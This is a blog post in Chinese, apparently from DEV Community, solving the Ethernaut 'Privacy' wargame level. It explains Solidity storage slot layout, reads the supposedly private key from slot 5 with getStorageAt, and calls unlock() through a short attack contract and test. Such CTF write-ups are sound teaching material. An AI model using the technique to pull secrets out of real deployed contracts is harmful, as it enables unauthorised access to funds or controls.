DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 12(Privacy)

LEVEL 12 (Privacy):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
Enter fullscreen mode Exit fullscreen mode

通关要求

locked=false

要点

1.合约的storage都是可见的,包含private
2.了解合约storage是如何存储
详情:
https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html

解题思路

1.计算data[2]在哪个slot

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
Enter fullscreen mode Exit fullscreen mode

1个slot占bytes32,故
slot:locked = slot:0 (因为接下来的ID是uint256,会独占一行)
slot:ID = slot:1
slot:flattening/denomination/awkwardness(三个刚好32位,压缩成一个slot) = slot:2
slot:data[0] = slot:3
slot:data[1] = slot:4
slot:data[2] = slot:5

2.使用await web3.eth.getStorageAt(instance,5)取到key去调用
unlock()
如:
Image description

contracts/12PrivacyRun.sol

    function run(address _levelAddress,bytes32 _key) external {   
        ILevel(_levelAddress).unlock(bytes16(_key));
    }
Enter fullscreen mode Exit fullscreen mode

test/12Privacy.js

  it("attacks", async function () {
    await runContract
      .connect(player)
      .run(
        levelContract.address,
        "0x1d9da787827b4d4aea38011b26b92fd0928e8cd736a86d8b9c5348f782dbe3a5"
      );
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)